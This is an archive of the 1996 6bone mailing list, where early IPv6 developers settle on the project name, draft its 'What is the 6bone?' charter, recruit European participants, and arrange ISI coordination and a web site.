From majordom@ISI.EDU  Tue Mar 19 07:40:42 1996
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From: postel@ISI.EDU
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Hello.

--jon.

From majordom@ISI.EDU  Tue Mar 19 08:06:00 1996
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To: 6bone
Subject: Test 1
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This is a test....

--JK

From majordom@ISI.EDU  Tue Mar 19 08:07:43 1996
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To: 6bone
Subject: test 2
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Date: Tue, 19 Mar 96 16:07:43 PST
From: Mike Carlton <carlton@ISI.EDU>
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test 2

cheers,
--mike


From majordom@ISI.EDU  Tue Mar 19 08:45:39 1996
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To: 6bone@ISI.EDU
Subject: Welcome to the 6bone mailing list
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Date: Tue, 19 Mar 96 16:45:39 PST
From: Mike Carlton <carlton@ISI.EDU>
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The 6bone mailing list is now up and running; you have already been
added to it.  Currently the list is open, i.e. anyone may join;
however only people on the list may send mail to the list.

To send mail to the list, send it to <6bone@isi.edu>.  

If you experience any problems with the list, please let me know and
I'll make sure they get resolved.  I apologize for the delay in
getting this up; I think we have the kinks worked out now.

If you want to unsubscribe, send a message to <majordomo@isi.edu> 
with the line
        unsubscribe 6bone
as the contents of the message.  Some other useful commands that majordomo
understands are 'help', 'info 6bone' and 'who 6bone'.

cheers,
--mike carlton@isi.edu


From majordom@ISI.EDU  Sun Mar 24 08:59:55 1996
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Subject: Re: Welcome to the 6bone mailing list 
In-Reply-To: Your message of "Tue, 19 Mar 96 16:45:39 PST."
             <199603200045.AA26068@darkstar.isi.edu> 
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Thanks Mike I will send message out shortly.

p.s. Mike Collins can you send me privately your email addr thanks..

/jim

From majordom@ISI.EDU  Sun Mar 24 09:27:41 1996
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To: 6bone@ISI.EDU
Subject: Objective / Tasks / Next Steps .....
Date: Sun, 24 Mar 96 14:27:41 -0500
From: bound@zk3.dec.com
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Hi,

Sorry I am a bit late.  Day job is getting very IPv6 intensive for me.

Per our meeting at the IETF L.A. meeting.  This is a draft and can we
have some discussion.  

Once we get this past a draft stage we can send out to folks to enhance
our mail list and to the IPv6 implementors list.

Can we get a volunteer to write up the charter of the 6Bone ?????

    **************  DRAFT 6Bone *******************

Objective:

   To establish an Internet 6Bone network to foster the development
   and communications of IPv6.  The model will be based from the 
   experience based on the Mbone.

   Three initial core geographic areas will be established with focused 
   DRIs:
    - Asia (Jun Murai - via WIDE)
    - U.S. (ISI seems to be the right place Mike Carlton ??)
    - Europe (Brian Carpenter to suggest names.  This is done Brian
              sent me some names I will contact.)

   These DRIs would coordinate the 6Bone effort in each geography and
   verify persons or entities would log their participation on the 
   6Bone.
  
   Name - Two different names suggested:

      Globabl IPv6 Infrastructure (GII).. Not politically good.  But
      this is the one I gave Jun for his Miti proposal for now.

      Information IPv6 Infrastructure (or I-Cubed)....

      Can we resolve this now ?????

   Hardware/Software:

      Initially use existing IPv6 implementors to get started and
      existing IPv6 Tunnel networks today.

      We need to get a commit from vendors to donate or provide at
      a reduced cost Hardware and Software for IPv6 Hosts and Routers.

      Need solid spec for RIPv6 to get the initial routing underway.
      A public domain RIPv6 would be nice ????

      Jun Murai will attempt funding to set up IPv6 first in WIDE
      and then in Asia.  

      ES-NET and WIDE may be able to connect via same T1 link in
      SanFrancisco provider.

      Need a list of public domain software pointers.

      Need a WEB page or added words to IPng page.

      Need to have White Board/VAT running on IPv6.

   Network Topology:
  
      Need to define IPv6 legs and tunnels in each geography so
      we can get an idea of how this can work.  
   
Tasks:

  1.  Select a name. (This List)
  2.  6bone Charter and Announcment (Volunteer Needed ???)
  3.  Asia Logistics (Jun Murai In Process)
  4.  U.S. Logistics (Mike Carlton Need to know if ISI can take this on)
  5.  European Logistics (Brian Carpenter/Jim Bound In Process)
  6.  Network Topology of 6Bone INIT (This list working with geography
                                      contacts)
       o  Links between Asia-U.S. / Europe-U.S.
       o  DNS Root Name Servers and Secondaries
       o  IPv6 Routing Legs
       o  Required Software for Legs and Tunnels 
  7.  Determine use and applicaitons for 6bone (This list)
  8.  Message to IPv6 Implementors, ISPs, NAPs, etc.. (This list 
          but above tasks should be pretty much complete).

What else do we need to discuss or add to the above?

thanks
/jim
       

From majordom@ISI.EDU  Mon Mar 25 15:13:22 1996
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Subject: Re: Objective / Tasks / Next Steps .....
To: bound@zk3.dec.com
Date: Mon, 25 Mar 1996 14:13:22 +0100 (MET)
From: "Brian Carpenter   CERN-CN" <brian@dxcoms.cern.ch>
Cc: 6bone@ISI.EDU
In-Reply-To: <9603241927.AA24685@fwasted.zk3.dec.com> from "bound@zk3.dec.com" at Mar 24, 96 02:27:41 pm
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>   
>    Name - Two different names suggested:
> 
>       Globabl IPv6 Infrastructure (GII).. Not politically good.  But
>       this is the one I gave Jun for his Miti proposal for now.
> 
>       Information IPv6 Infrastructure (or I-Cubed)....
> 

I suggest "GI6" as a compromise - it has the "G" for Global,
the "I" for everything, and "6" for luck.

   Brian

From majordom@ISI.EDU  Mon Mar 25 03:51:00 1996
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To: "Brian Carpenter CERN-CN" <brian@dxcoms.cern.ch>
Cc: 6bone@ISI.EDU
Subject: Re: Objective / Tasks / Next Steps ..... 
In-Reply-To: Your message of "Mon, 25 Mar 96 14:13:22 +0100."
             <9603251313.AA12541@dxcoms.cern.ch> 
Date: Mon, 25 Mar 96 08:51:00 -0500
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>>    Name - Two different names suggested:
>> 
>>       Globabl IPv6 Infrastructure (GII).. Not politically good.  But
>>       this is the one I gave Jun for his Miti proposal for now.
>> 
>>       Information IPv6 Infrastructure (or I-Cubed)....
>> 
>
>I suggest "GI6" as a compromise - it has the "G" for Global,
>the "I" for everything, and "6" for luck.

Brian, good compromise.  I like it.  Others ????  I really like having
the "6" in it most of all.

/jim

From majordom@ISI.EDU  Tue Mar 26 01:17:57 1996
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To: 6bone@ISI.EDU
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: The 6bone name issue
Date: Tue, 26 Mar 1996 09:17:57 -0800
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I will make one attempt to influence this naming issue, and then go with
the flow as I don't want to turn this into a silly naming argument.  That
is not my point.

My point is, that by choosing an all encompassing high profile name such as
GI6, we are not only getting away from our purpose, but run the risk of
alienating many who might otherwise help us.

I believe that the name 6bone accurately reflects our mbone-like mission of
deploying infrastructure for IPv6 prior to it being deployed fully in the
global Internet infrastructure.

In theory, it seems to me, our job is to enable all the appropriate
tunnels, and set related policies and practices for an IPv6 backbone
infrastructure.  Then our role will drop away as IPv6 is implemented in
production routers and normal operating policies and practices for the
"global" Internet take over.

So, my vote is to stay with 6bone - it's quite descriptive and has
reasonable name recognition due to the mbone.  Everyone would then easily
recognize us as a necessary, but yet interim, piece of the the evolution of
the Internet...not a threat.


Now I'll shut up.

Bob



From majordom@ISI.EDU  Tue Mar 26 08:30:51 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU
Subject: Re: The 6bone name issue 
In-Reply-To: Your message of "Tue, 26 Mar 96 09:17:57 PST."
             <v03005500ad7d62914287@[131.243.64.23]> 
Date: Tue, 26 Mar 96 13:30:51 -0500
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Bob,

You made a very valid point IMHO.  

Folks I don't care one way or the other.

/jim

From majordom@ISI.EDU  Tue Mar 26 02:34:49 1996
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To: 6bone@ISI.EDU
Cc: Bob Fink LBNL <RLFink@lbl.gov>, deering@parc.xerox.com
Subject: Re: The 6bone name issue 
In-Reply-To: RLFink's message of Tue, 26 Mar 96 09:17:57 -0800.
             <v03005500ad7d62914287@[131.243.64.23]> 
Date: Tue, 26 Mar 1996 10:34:49 PST
From: Steve Deering <deering@parc.xerox.com>
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Even though I was the one advocating "GII", on further reflection I agree
with Bob Fink.  Picking a gradiose name is liable just to cause confusion
and/or ill will in some quaters.  Also, being superstitious, I think it
would bring bad luck upon us to pick a name that assumes eventual World
Domination.  Better to pick a humble name like 6Bone.  Also, as Bob said,
the name 6Bone benefits from the analogy to the MBone, which is a succesful
example of exactly what we are trying to accomplish.

Steve


From majordom@ISI.EDU  Tue Mar 26 06:59:25 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
From: hinden@ipsilon.com (Bob Hinden)
Subject: Re: The 6bone name issue
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After more consideration, I too think that 6bone is the best name.

Unless, of course, we wanted to call it something like "Internet Pro" given
the industry naming trend.          :-)

Bob



From majordom@ISI.EDU  Wed Mar 27 17:34:42 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
From: Jun Murai <jun@wide.ad.jp>
Subject: Re: The 6bone name issue
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folks,
I also agree with Bob Fink. I already mentioned the points in LA on the
possibility to lose some of the help.
Even I am thinking that some parts of the 6bone should be  physical test
nets instead  of logical ones with tunnels, I vote for 6bone. When we will
be over with 6bone purpose, we can change the name then.
jun


From majordom@ISI.EDU  Wed Mar 27 08:55:25 1996
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Subject: Re: The 6bone name issue
To: 6bone@ISI.EDU
Date: Wed, 27 Mar 1996 07:55:25 +0100 (MET)
From: "Brian Carpenter   CERN-CN" <brian@dxcoms.cern.ch>
In-Reply-To: <9603261830.AA27763@fwasted.zk3.dec.com> from "bound@zk3.dec.com" at Mar 26, 96 01:30:51 pm
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Sure, let's stay with 6bone. I only came up with GI6 because
Jim asked the question.

  Brian

From majordom@ISI.EDU  Wed Mar 27 05:41:27 1996
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To: 6bone@ISI.EDU
Subject: Re: The 6bone name issue 
In-Reply-To: Your message of "Tue, 26 Mar 96 14:59:25 PST."
             <v02140b04ad7e26d722b6@[205.226.1.20]> 
Date: Wed, 27 Mar 96 10:41:27 -0500
From: bound@zk3.dec.com
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I am for 6bone.  One thing I have learned about temporary functions is
to make sure in an organization all know they are temporary I think the
name 6bone does that?

Are we getting consensus????

/jim

From majordom@ISI.EDU  Wed Mar 27 08:50:53 1996
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To: 6bone@ISI.EDU
Subject: Mbone Charter/Objective/????? Doc
Date: Wed, 27 Mar 96 13:50:53 -0500
From: bound@zk3.dec.com
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I think we have our name ---> 6bone....  (not bone heads)...

Not getting any volunteers to write up a charter etc... so here is what
I will do .... As I recall there was an Mbone FAQ and how to use it
etc...  Is there something in there I can hack up and plagarize to get
this done?????  Anywhere on the net????

/jim

From majordom@ISI.EDU  Wed Mar 27 07:10:09 1996
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From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Mbone Charter/Objective/????? Doc
Cc: 6bone@ISI.EDU
Date: Wed, 27 Mar 1996 15:10:09 -0800
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Jim,

>Not getting any volunteers to write up a charter etc... so here is what
>I will do .... As I recall there was an Mbone FAQ and how to use it
>etc...  Is there something in there I can hack up and plagarize to get
>this done?????  Anywhere on the net????

I was just about to do this myself.  The current MBONE pages are:

http://www.best.com/~prince/techinfo/mbone.html



If you can wait till tomorrow morning (before my meetings for the day start
:-) I'll try hacking something together and then you can do with it as you
will.


Thanks,

Bob



From majordom@ISI.EDU  Wed Mar 27 17:11:47 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU
Subject: Re: Mbone Charter/Objective/????? Doc 
In-Reply-To: Your message of "Wed, 27 Mar 96 15:10:09 PST."
             <v03005508ad7f08a51a13@[131.243.64.23]> 
Date: Wed, 27 Mar 96 22:11:47 -0500
From: bound@zk3.dec.com
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Bob,

This sounds great... I can wait a week at this end.  Thanks...

So all know why I push on this write-up.  Its our init sales tool to get
folks started.  Yes we need to locate folks to do things and even folks
to own some admin, but like anything else we need to sell them on it. I
think in this case its just telling folks what we are trying to do. With
the work in the IETF, Vendor IPv6 Noise, Address Space Crunch,
Researchers chomping at the bit to use V6 with Flows (at least the ones
I speak with), Implementor Bake-Offs who can provide binaries for
existing equipment, Several router type vendors doing V6, and Customers
actually asking do I need to worry about IPv6 I think there is enough
momentum for general interest.  But they will need to know how they can
participate and what the technical strategy is to proceed.

thanks again,
/jim

From majordom@ISI.EDU  Sat Apr  1 18:11:58 1996
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To: 6bone@ISI.EDU
Subject: Draft of "what is the 6bone"
Date: Sat, 30 Mar 96 23:11:58 -0500
From: bound@zk3.dec.com
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Hi,

Bob Fink sent this to me and did a nice job.  I think its on target.  What 
do others think?

p.s. thanks Bob...

/jim


=================


What is the 6BONE?


The 6BONE is an outgrowth of the IETF IPng project that resulted in the
creation of the IPv6 protocols that will eventually replace the current
Internet network layer protocols known as IPv4.  One essential part in
the transition from IPv4 to IPv6 is the development of an Internet-wide
IPv6 backbone infrastructure that can transport IPv6 packets.  As with
the existing IPv4 Internet backbone, the IPv6 backbone infrastructure
will be composed of many Internet Service Providers (ISPs) and user
networks linked together to provide the world-wide Internet.

Until the IPv6 protocols are widely implemented and fully tested for
interoperability, production ISP and user network routers will not
readily place production Internet (IPv4) routers at risk.  Thus a way
is needed to provide Internet-wide IPv6 transport in an organized and
orderly way for early testing and early use.  

The 6BONE is a virtual network layered on top of portions of the
physical IPv4-based Internet to support routing of IPv6 packets, as
that function has not yet been integrated into many production routers.
 The network is composed of islands that can directly support IPv6
packets, linked by virtual point-to-point links called "tunnels".  The
tunnel endpoints are typically workstation-class machines having
operating system support for IPv6.

Over time as confidence builds to allow production routers to carry
native IPv6 packets, it is expected that the 6BONE would disappear by
agreement of all parties.  It would be replaced in a transparent way by
production ISP and user network IPv6 Internet-wide transport.

The 6BONE is thus focused on providing the early policy and procedures
necessary to provide IPv6 transport in a reasonable fashion so testing
and experience can be carried out.  It would not attempt to provide new
network interconnect architectures, procedures and policies that are
clearly the purview of ISP and user network operators.  In fact, it is
the desire to include as many ISP and user network operators in the
6BONE process as possible to guarantee as seamless a transition to IPv6
as possible.

=================</fontfamily>


From majordom@ISI.EDU  Mon Apr  1 15:14:11 1996
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Message-Id: <9604011114.AA31682@dxcoms.cern.ch>
Subject: Re: Draft of "what is the 6bone"
To: 6bone@ISI.EDU
Date: Mon, 1 Apr 1996 13:14:11 +0200 (MET DST)
From: "Brian Carpenter   CERN-CN" <brian@dxcoms.cern.ch>
In-Reply-To: <9603310411.AA15292@fwasted.zk3.dec.com> from "bound@zk3.dec.com" at Mar 30, 96 11:11:58 pm
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Two comments

> The 6BONE is an outgrowth of the IETF IPng project that resulted in the
> creation of the IPv6 protocols that will eventually replace the current
> Internet network layer protocols known as IPv4.

To avoid flame wars, I would slightly rewrite this sentence:

 The 6BONE is an independent outgrowth of the IETF IPng project that
 resulted in the creation of the IPv6 protocols intended eventually to
 replace the current Internet network layer protocols known as IPv4.

(Reasons: 1. remove a possible implication that this is an IETF activity
	  2. remove assertion that v6 *will* replace v4)


The rest is just fine, but it leaves open the question "Who is
the 6BONE?" We could add

 The 6BONE is currently an informal collaborative project
 covering North America, Europe and Japan.

(Incidentally, Jun, maybe you should contact the guys at KEK?)

    Brian



From majordom@ISI.EDU  Tue Apr  2 07:33:38 1996
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To: "Brian Carpenter CERN-CN" <brian@dxcoms.cern.ch>
Cc: 6bone@ISI.EDU
Subject: Re: Draft of "what is the 6bone" 
In-Reply-To: Your message of "Mon, 01 Apr 96 13:14:11 +0200."
             <9604011114.AA31682@dxcoms.cern.ch> 
Date: Tue, 02 Apr 96 12:33:38 -0500
From: bound@zk3.dec.com
X-Mts: smtp
Sender: owner-6bone@ISI.EDU
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Status: RO

Brian,

>Two comments

>> The 6BONE is an outgrowth of the IETF IPng project that resulted in the
>> creation of the IPv6 protocols that will eventually replace the current
>> Internet network layer protocols known as IPv4.
>
>To avoid flame wars, I would slightly rewrite this sentence:

> The 6BONE is an independent outgrowth of the IETF IPng project that
> resulted in the creation of the IPv6 protocols intended eventually to
> replace the current Internet network layer protocols known as IPv4.

>(Reasons: 1. remove a possible implication that this is an IETF activity
>	  2. remove assertion that v6 *will* replace v4)

I agree.

>The rest is just fine, but it leaves open the question "Who is
>the 6BONE?" We could add
>
> The 6BONE is currently an informal collaborative project
> covering North America, Europe and Japan.

I like this too.

>(Incidentally, Jun, maybe you should contact the guys at KEK?)

What is KEK?

thanks,
/jim


From majordom@ISI.EDU  Tue Apr  2 07:39:03 1996
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To: 6bone@ISI.EDU
Subject: Updated Text for the 6bone What is It?
Date: Tue, 02 Apr 96 12:39:03 -0500
From: bound@zk3.dec.com
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I added Brian's comments and made 6bone use small caps to go with our
strategy of demphasis on the name...

If all are OK with this we can declare victory and move forward...

/jim


What is the 6bone?

The 6bone is an independent outgrowth of the IETF IPng project that 
resulted in the creation of the IPv6 protocols intended eventually to
replace the current Internet network layer protocols known as IPv4.  
The 6bone is currently an informal collaborative project covering 
North America, Europe, and Japan.

One essential part in the IPv4 to IPv6 transition is the development 
of an Internet-wide IPv6 backbone infrastructure that can transport IPv6 
packets.  As with the existing IPv4 Internet backbone, the IPv6 
backbone infrastructure will be composed of many Internet Service 
Providers (ISPs) and user networks linked together to provide the 
world-wide Internet.

Until the IPv6 protocols are widely implemented and fully tested for
interoperability, production ISP and user network routers will not
readily place production Internet (IPv4) routers at risk.  Thus a way
is needed to provide Internet-wide IPv6 transport in an organized and
orderly way for early testing and early use.  

The 6bone is a virtual network layered on top of portions of the
physical IPv4-based Internet to support routing of IPv6 packets, as
that function has not yet been integrated into many production 
routers.  The network is composed of islands that can directly support 
IPv6 packets, linked by virtual point-to-point links called "tunnels".  
The tunnel endpoints are typically workstation-class machines having
operating system support for IPv6.

Over time, as confidence builds to allow production routers to carry
native IPv6 packets, it is expected that the 6bone would disappear by
agreement of all parties.  It would be replaced in a transparent way 
by production ISP and user network IPv6 Internet-wide transport.

The 6bone is thus focused on providing the early policy and procedures
necessary to provide IPv6 transport in a reasonable fashion so testing
and experience can be carried out.  It would not attempt to provide 
new network interconnect architectures, procedures and policies that 
are clearly the purview of ISP and user network operators.  In fact, 
it is the desire to include as many ISP and user network operators in 
the 6bone process as possible to guarantee a seamless transition to 
IPv6.


From majordom@ISI.EDU  Tue Apr  2 08:32:36 1996
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To: 6bone@ISI.EDU
Subject: Message to Engage RENATER in France
Date: Tue, 02 Apr 96 13:32:36 -0500
From: bound@zk3.dec.com
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------- Forwarded Message

Return-Path: bound
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	id AA25589; Tue, 2 Apr 1996 12:57:34 -0500
Message-Id: <9604021757.AA25589@fwasted.zk3.dec.com>
To: prevost@sphinx.cea.fr
Cc: brian@dxcoms.cern.ch, bound@zk3.dec.com
Subject: IPv6 Test Network 6bone
Date: Tue, 02 Apr 96 12:57:33 -0500
From: bound
X-Mts: smtp

Hi Jaques,

My name is Jim Bound and I am working with an informal group of IETF
colleagues to define and set up a world-wide test network for IPv6. Brian
Carpenter from CERN gave me your name as one who may be interested in this 
work.  My day job is at Digital Equipment Corporation in the U.S. where I am
the IPv6 Technical Director.  We have initial participants from multiple
vendors, universities, research, and network operators across North
America, Europe, and Japan. 

I have attached our DRAFT charter of "What is the 6bone".  Its critical
we have European participation for this effort.  

Brian has shared with me what RENATER is and it appears to be a good
place to add IPv6 nodes as part of the 6bone.  We also need 
leadership support to integrate 6bone across Europe.  

Are you interested in participating in this effort?  If so we could 
add you to our 6bone mailing list as we develop the details of 6bone, as
a first step?

thanks,
/jim

- -------------------------------------------------

What is the 6bone?

The 6bone is an independent outgrowth of the IETF IPng project that 
resulted in the creation of the IPv6 protocols intended eventually to
replace the current Internet network layer protocols known as IPv4.  
The 6bone is currently an informal collaborative project covering 
North America, Europe, and Japan.

One essential part in the IPv4 to IPv6 transition is the development 
of an Internet-wide IPv6 backbone infrastructure that can transport IPv6 
packets.  As with the existing IPv4 Internet backbone, the IPv6 
backbone infrastructure will be composed of many Internet Service 
Providers (ISPs) and user networks linked together to provide the 
world-wide Internet.

Until the IPv6 protocols are widely implemented and fully tested for
interoperability, production ISP and user network routers will not
readily place production Internet (IPv4) routers at risk.  Thus a way
is needed to provide Internet-wide IPv6 transport in an organized and
orderly way for early testing and early use.  

The 6bone is a virtual network layered on top of portions of the
physical IPv4-based Internet to support routing of IPv6 packets, as
that function has not yet been integrated into many production 
routers.  The network is composed of islands that can directly support 
IPv6 packets, linked by virtual point-to-point links called "tunnels".  
The tunnel endpoints are typically workstation-class machines having
operating system support for IPv6.

Over time, as confidence builds to allow production routers to carry
native IPv6 packets, it is expected that the 6bone would disappear by
agreement of all parties.  It would be replaced in a transparent way 
by production ISP and user network IPv6 Internet-wide transport.

The 6bone is thus focused on providing the early policy and procedures
necessary to provide IPv6 transport in a reasonable fashion so testing
and experience can be carried out.  It would not attempt to provide 
new network interconnect architectures, procedures and policies that 
are clearly the purview of ISP and user network operators.  In fact, 
it is the desire to include as many ISP and user network operators in 
the 6bone process as possible to guarantee a seamless transition to 
IPv6.


------- End of Forwarded Message


From majordom@ISI.EDU  Tue Apr  2 08:35:15 1996
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To: 6bone@ISI.EDU
Subject: Message to Engage Denmark
Date: Tue, 02 Apr 96 13:35:15 -0500
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------- Forwarded Message

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	id AA28048; Tue, 2 Apr 1996 13:07:38 -0500
Message-Id: <9604021807.AA28048@fwasted.zk3.dec.com>
To: Ole.Carsten.Pedersen@uni-c.dk
Cc: brian@dxcoms.cern.ch, bound@zk3.dec.com
Subject: IPv6 Test Network 6bone
Date: Tue, 02 Apr 96 13:07:37 -0500
From: bound
X-Mts: smtp

Hi Ole,

My name is Jim Bound and I am working with an informal group of IETF
colleagues to define and set up a world-wide test network for IPv6. Brian
Carpenter from CERN gave me your name as one who may be interested in this 
work.  My day job is at Digital Equipment Corporation in the U.S. where I am
the IPv6 Technical Director.  We have initial participants from multiple
vendors, universities, research, and network operators across North
America, Europe, and Japan. 

I have attached our DRAFT charter of "What is the 6bone".  Its critical
we have European participation for this effort.  

Brian has shared with me your work at the University Computing Centre in
Dennark.  

Are you interested in participating in this effort?  If so we could 
add you to our 6bone mailing list as we develop the details of 6bone, as
a first step?

thanks,
/jim

- -------------------------------------------------

What is the 6bone?

The 6bone is an independent outgrowth of the IETF IPng project that 
resulted in the creation of the IPv6 protocols intended eventually to
replace the current Internet network layer protocols known as IPv4.  
The 6bone is currently an informal collaborative project covering 
North America, Europe, and Japan.

One essential part in the IPv4 to IPv6 transition is the development 
of an Internet-wide IPv6 backbone infrastructure that can transport IPv6 
packets.  As with the existing IPv4 Internet backbone, the IPv6 
backbone infrastructure will be composed of many Internet Service 
Providers (ISPs) and user networks linked together to provide the 
world-wide Internet.

Until the IPv6 protocols are widely implemented and fully tested for
interoperability, production ISP and user network routers will not
readily place production Internet (IPv4) routers at risk.  Thus a way
is needed to provide Internet-wide IPv6 transport in an organized and
orderly way for early testing and early use.  

The 6bone is a virtual network layered on top of portions of the
physical IPv4-based Internet to support routing of IPv6 packets, as
that function has not yet been integrated into many production 
routers.  The network is composed of islands that can directly support 
IPv6 packets, linked by virtual point-to-point links called "tunnels".  
The tunnel endpoints are typically workstation-class machines having
operating system support for IPv6.

Over time, as confidence builds to allow production routers to carry
native IPv6 packets, it is expected that the 6bone would disappear by
agreement of all parties.  It would be replaced in a transparent way 
by production ISP and user network IPv6 Internet-wide transport.

The 6bone is thus focused on providing the early policy and procedures
necessary to provide IPv6 transport in a reasonable fashion so testing
and experience can be carried out.  It would not attempt to provide 
new network interconnect architectures, procedures and policies that 
are clearly the purview of ISP and user network operators.  In fact, 
it is the desire to include as many ISP and user network operators in 
the 6bone process as possible to guarantee a seamless transition to 
IPv6.



------- End of Forwarded Message


From majordom@ISI.EDU  Tue Apr  2 09:05:19 1996
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To: 6bone@ISI.EDU
Subject: IPv6 Across Europe starting in ScottLand
Date: Tue, 02 Apr 96 14:05:19 -0500
From: bound@zk3.dec.com
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I will help Alex (below) with the proposal.  I will make sure our 6bone
charter and other parts are in the proposal.

OK we have a proposal via Jun Murai in Asia and several potentials in
Europe.

What about the U.S?  How do we get this started?  Do we need to 
request money for ISI or Lawerence at Berkeley?  ????   How do we do
that?  

How about if we send mail to V.P. Al Gore and Senator Patrick Lehaey? I am
not kidding?????????????

Mike Carlton?  Whats the word at ISI???????????

Is it time to tell the implementors list about us yet?

We need a list of implementations people can use to get started?

/jim

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Date: Tue, 02 Apr 1996 16:14:59 +0000
From: Alex Clark <alex@wintermute.co.uk>
Organization: Wintermute Ltd.
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I have been asked to put forward a proposal to utilise a new network
to develop an internet for a primarily business market. It will
initially be city based (probably Aberdeen, Scotland) but within
months be connected to other new networks and it is hoped will be
Europe wide by the end of the year. Funding for this network will 
be partly coming from national and European government.

For reasons of their own they do not wish the network to utilise
the existing Internet (except through the occasional controlled
gateway). 

When deciding for a protocol for this network it really needs to
be IP based as it has proved itself over the past 25 years to be
scalable and reliable. I have suggested that this network would 
be an ideal opportunity to run a fully compliant IPv6 network.
This way we have all the facilities that business would like to
utilise such as security and service level (bandwidth) guarantees
& allocation are made available. 

Also we feel it would be of great interest to software and 
hardware developers of this new protocol to have a real life 
testbed for their new products. 

This is the reason for this e-mail. Would you be interested, in
principle, to supporting such a venture? Before I send the 
proposal it would be good to get an indication of the interest
from Internet businesses to support an International IPv6 network.
An indication of the products you will have avaiable for
distribution or test would be useful as well as an indication of 
how you think you may be able to help.

Thankyou for your time,

Alex Clark

- -----------------------------------------------------------------
Alex Clark                                  alex@wintermute.co.uk
Business Manager                      http://www.wintermute.co.uk
Wintermute Ltd                                  Tel: 01224 595111
18 Bridge Street, Aberdeen. AB1 1RX             Fax: 01224 595333
- -----------------------------------------------------------------

------- End of Forwarded Message


From majordom@ISI.EDU  Tue Apr  2 07:16:02 1996
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To: 6bone@ISI.EDU
Reply-To: carlton@ISI.EDU
Subject: 6bone at ISI
In-Reply-To: Your message of Tue, 02 Apr 1996 14:05:19 -0500.
             <9604021905.AA01159@fwasted.zk3.dec.com> 
Date: Tue, 02 Apr 96 15:16:02 PST
From: Mike Carlton <carlton@ISI.EDU>
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In another message, Jim Bound asks:

> What about the U.S?  How do we get this started?  Do we need to 
> request money for ISI or Lawerence at Berkeley?  ????   How do we do
> that?  
> 
> How about if we send mail to V.P. Al Gore and Senator Patrick Lehaey? I am
> not kidding?????????????
> 
> Mike Carlton?  Whats the word at ISI???????????

I've spoken with Jon Postel and he is willing to have ISI manage
(or whatever the right term is) the US portion of the 6bone.

For now, I'm willing (and able) to take on the role here, but as the
6bone becomes more widespread (and the time required goes up) we will
need to check into obtaining funding and explicitly allocating someone
to support the network.  I've spoken with Steve Casner about his
experience with the Mbone and he indicated that it required a fair
amount of effort as it grew.

On a different note, new or interested subscribers to the 6bone list are
sent a short blurb describing the list.  Currently it reads:
	The 6bone list is for the discussion of the development of the
	initial IPv6 network.

Before widely advertising the list, we probably want to update that.
Maybe we can abstract the charter documents?

cheers,
--mike


From majordom@ISI.EDU  Sun Apr  7 17:23:27 1996
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To: carlton@ISI.EDU
Cc: 6bone@ISI.EDU
Subject: Re: 6bone at ISI 
In-Reply-To: Your message of "Tue, 02 Apr 96 15:16:02 PST."
             <199604022316.AA05728@darkstar.isi.edu> 
Date: Sun, 07 Apr 96 21:23:27 -0400
From: bound@zk3.dec.com
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Mike,

>In another message, Jim Bound asks:
>
>> What about the U.S?  How do we get this started?  Do we need to 
>> request money for ISI or Lawerence at Berkeley?  ????   How do we do
>> that?  
>> 
>> How about if we send mail to V.P. Al Gore and Senator Patrick Lehaey? I am
>> not kidding?????????????
>> 
>> Mike Carlton?  Whats the word at ISI???????????
>
>I've spoken with Jon Postel and he is willing to have ISI manage
>(or whatever the right term is) the US portion of the 6bone.

Great.  Jon should be added to this list now I think.  If he is not on
already.

>For now, I'm willing (and able) to take on the role here, but as the
>6bone becomes more widespread (and the time required goes up) we will
>need to check into obtaining funding and explicitly allocating someone
>to support the network.  I've spoken with Steve Casner about his
>experience with the Mbone and he indicated that it required a fair
>amount of effort as it grew.

True.  I am nervous just to think about the mail to begin.

>On a different note, new or interested subscribers to the 6bone list are
>sent a short blurb describing the list.  Currently it reads:
>	The 6bone list is for the discussion of the development of the
>	initial IPv6 network.

>Before widely advertising the list, we probably want to update that.
>Maybe we can abstract the charter documents?

We need to determine what else we need besides our present charter
document????  

What do you and others think we need before we announce it????

thanks,
/jim

From majordom@ISI.EDU  Thu Apr 11 00:17:38 1996
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Date: Thu, 11 Apr 1996 07:17:38 -0700
To: bound@zk3.dec.com (Jim Bound  DIgital)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6BONE web site
Cc: 6bone@ISI.EDU (6BONE Mailer)
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Jim,

If still no volunteers, I'll host a 6BONE web site.

If you want me to do this, do you (or anyone else) have an idea of what you
want on it to start?


Bob



From majordom@ISI.EDU  Fri Apr 12 17:09:51 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: 6BONE web site 
In-Reply-To: Your message of "Thu, 11 Apr 96 07:17:38 PDT."
             <v03005505ad92c42151f2@[131.243.64.23]> 
Date: Fri, 12 Apr 96 21:09:51 -0400
From: bound@zk3.dec.com
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Bob,

>If still no volunteers, I'll host a 6BONE web site.

This would be really great.

>If you want me to do this, do you (or anyone else) have an idea of what you
>want on it to start?

I think the charter and a note we are adding to our list now.  And how
to join the mail list.  I would have a pointer to the IPng WWW
implementation page as that is the starting point for tunnels anyway.

THen possibly our to-do list we made up initially?

Do others have ideas for Bob?

p.s. Mike are you ready to start taking subscribers?  We can use the
charter as the announcement message when they subscribe?  

thanks
/jim



From majordom@ISI.EDU  Fri Apr 19 11:23:31 1996
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To: ipng@sunroof.eng.sun.com, ipv6imp@munnari.oz.au
Cc: 6bone@ISI.EDU
Subject: 6bone WWW Page Pointer
Date: Fri, 19 Apr 96 15:23:31 -0400
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FYI... See the charter, requirements, mission, etc... at 

http://www-6bone.lbl.gov/6bone/

/jim

From majordom@ISI.EDU  Wed Apr 24 04:11:10 1996
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From: Michael Clay <mclay@weareb.org>
Message-Id: <199604241411.JAA04771@locutus.weareb.org>
Subject: Question about sites
To: 6bone@ISI.EDU (6 Bone)
Date: Wed, 24 Apr 1996 09:11:10 -0500 (CDT)
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Hello,
    I was wondering if any portion of the 6bone has been set up yet, and if
so, if someone could give me a list of sites to which I could tunnel for
the purpose of testing ping6 and similar low-level functionality.
I looked at the 6bone web page, but no indication was given as to whether
or not any sort of network yet exists.  Please excuse me if this info
exists in a FAQ.

Regards,
Mike Clay

-- 
------------------+-----------------------------------------------------------
